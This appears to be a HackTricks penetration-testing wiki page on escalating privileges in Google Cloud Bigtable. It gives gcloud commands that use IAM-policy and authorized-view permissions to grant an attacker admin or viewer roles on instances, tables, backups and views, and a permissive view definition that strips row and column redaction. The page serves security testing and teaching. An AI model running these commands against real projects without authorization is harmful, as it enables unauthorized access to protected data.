# GCP - Bigtable Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

For more information about Bigtable check:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### `bigtable.instances.setIamPolicy`

**Permissions:** `bigtable.instances.setIamPolicy` (and usually `bigtable.instances.getIamPolicy` to read the current bindings).

Owning the instance IAM policy lets you grant yourself **`roles/bigtable.admin`** (or any custom role) which cascades to every cluster, table, backup and authorized view in the instance.

<details><summary>Grant yourself bigtable.admin role on instance</summary>

```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.admin'
```

</details>

> [!TIP]
> If you cannot list the existing bindings, craft a fresh policy document and push it with `gcloud bigtable instances set-iam-policy` as long as you keep yourself on it.

After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.

### `bigtable.tables.setIamPolicy`

**Permissions:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).

Instance policies can be locked down while individual tables are delegated. If you can edit the table IAM you can **promote yourself to owner of the target dataset** without touching other workloads.

<details><summary>Grant yourself bigtable.admin role on table</summary>

```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
  --instance=<instance-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.admin'
```

</details>

After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.


### `bigtable.backups.setIamPolicy`

**Permissions:** `bigtable.backups.setIamPolicy`

Backups can be restored to **any instance in any project** you control. First, give your identity access to the backup, then restore it into a sandbox where you hold Admin/Owner roles.

If you have the permission `bigtable.backups.setIamPolicy` you could grant yourself the permission `bigtable.backups.restore` to restore old backups and try to access sensitiv information.

<details><summary>Take ownership of backup snapshot</summary>

```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
  --instance=<instance-id> --cluster=<cluster-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.admin'
```

</details>

After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) to check how to restore a backup.


### Update authorized view 

**Permissions:** `bigtable.authorizedViews.update`

Authorized Views are supposed to redact rows/columns. Modifying or deleting them **removes the fine-grained guardrails** that defenders rely on.

<details><summary>Update authorized view to broaden access</summary>

```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
  --instance=<instance-id> --table=<table-id> \
  --definition-file=/tmp/permissive-view.json --ignore-warnings

# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
  "subsetView": {
    "rowPrefixes": [""],
    "familySubsets": {
      "<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
        "qualifierPrefixes": [""]
      }
    }
  }
}
EOF

# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
  --instance=<instance-id> --table=<table-id>
```

</details>

After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) to check how to read from an authorized view.

### `bigtable.authorizedViews.setIamPolicy`

**Permissions:**  `bigtable.authorizedViews.setIamPolicy`.

An attacker with this permission can grant themselves access to an Authorized View, which may contain sensitive data that they would not otherwise have access to.

<details><summary>Grant yourself access to authorized view</summary>

```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
  --instance=<instance-id> --table=<table-id> \
  --member='user:<attacker@example.com>' \
  --role='roles/bigtable.viewer'
```

</details>

After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) to check how to read from an authorized view.



{{#include ../../../banners/hacktricks-training.md}}
